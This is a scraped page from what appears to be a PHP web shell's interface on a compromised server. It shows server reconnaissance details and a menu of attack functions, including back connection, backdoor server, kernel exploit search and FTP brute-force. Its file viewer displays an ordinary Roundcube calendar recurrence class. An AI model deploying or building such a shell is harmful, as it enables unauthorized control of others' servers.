|
|
| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
|---|
| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
|---|
| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|---|
|
| Safe Mode | : | OFF |
|---|
| Open_Basedir | : | OFF |
|---|
| Freespace | : | 27.27 GB of 70.42 GB (38.73%) |
|---|
|
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
|
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
mail.1/
plugins/
calendar/
lib/
- drwxrwxr-x
|
Viewing file:  calendar_recurrence.php (3.27 KB) -rw-rw-r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php
/**
* Recurrence computation class for the Calendar plugin
*
* Uitility class to compute instances of recurring events.
*
* @version 0.7-beta
* @author Thomas Bruederli <bruederli@kolabsys.com>
* @package calendar
*
* Copyright (C) 2011, Kolab Systems AG <contact@kolabsys.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* Additional permission is granted to distribute and use this file under
* the terms of the GNU General Public License Version 2 in conjunction with
* the Roundcube Web Mailer Version 0.7 as distributed by the Roundcube
* Community (http://roundcube.net).
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
class calendar_recurrence
{
private $cal;
private $event;
private $engine;
private $tz_offset = 0;
private $dst_start = false;
private $hour = 0;
/**
* Default constructor
*
* @param object calendar The calendar plugin instance
* @param array The event object to operate on
*/
function __construct($cal, $event)
{
$this->cal = $cal;
// use Horde classes to compute recurring instances
// TODO: replace with something that has less than 6'000 lines of code
require_once($this->cal->home . '/lib/Horde_Date_Recurrence.php');
$this->event = $event;
$this->engine = new Horde_Date_Recurrence($event['start']);
$this->engine->fromRRule20(calendar::to_rrule($event['recurrence']));
if (is_array($event['recurrence']['EXDATE'])) {
foreach ($event['recurrence']['EXDATE'] as $exdate)
$this->engine->addException(date('Y', $exdate), date('n', $exdate), date('j', $exdate));
}
$this->tz_offset = $event['allday'] ? $this->cal->gmt_offset - date('Z') : 0;
$this->next = new Horde_Date($event['start'] + $this->tz_offset); # shift all-day times to server timezone because computation operates in local TZ
$this->dst_start = $this->next->format('I');
$this->hour = $this->next->hour;
}
/**
* Get timestamp of the next occurence of this event
*
* @return mixed Unix timestamp or False if recurrence ended
*/
public function next_start()
{
$time = false;
if ($this->next && ($next = $this->engine->nextActiveRecurrence(array('year' => $this->next->year, 'month' => $this->next->month, 'mday' => $this->next->mday + 1, 'hour' => $this->next->hour, 'min' => $this->next->min, 'sec' => $this->next->sec)))) {
if ($this->event['allday']) {
$next->hour = $this->hour; # fix time for all-day events
$next->min = 0;
}
# $dst_diff = ($this->dst_start - $next->format('I')) * 3600; # consider difference in daylight saving between base event and recurring instance
$time = $next->timestamp() - $this->tz_offset;
$this->next = $next;
}
return $time;
}
}
|
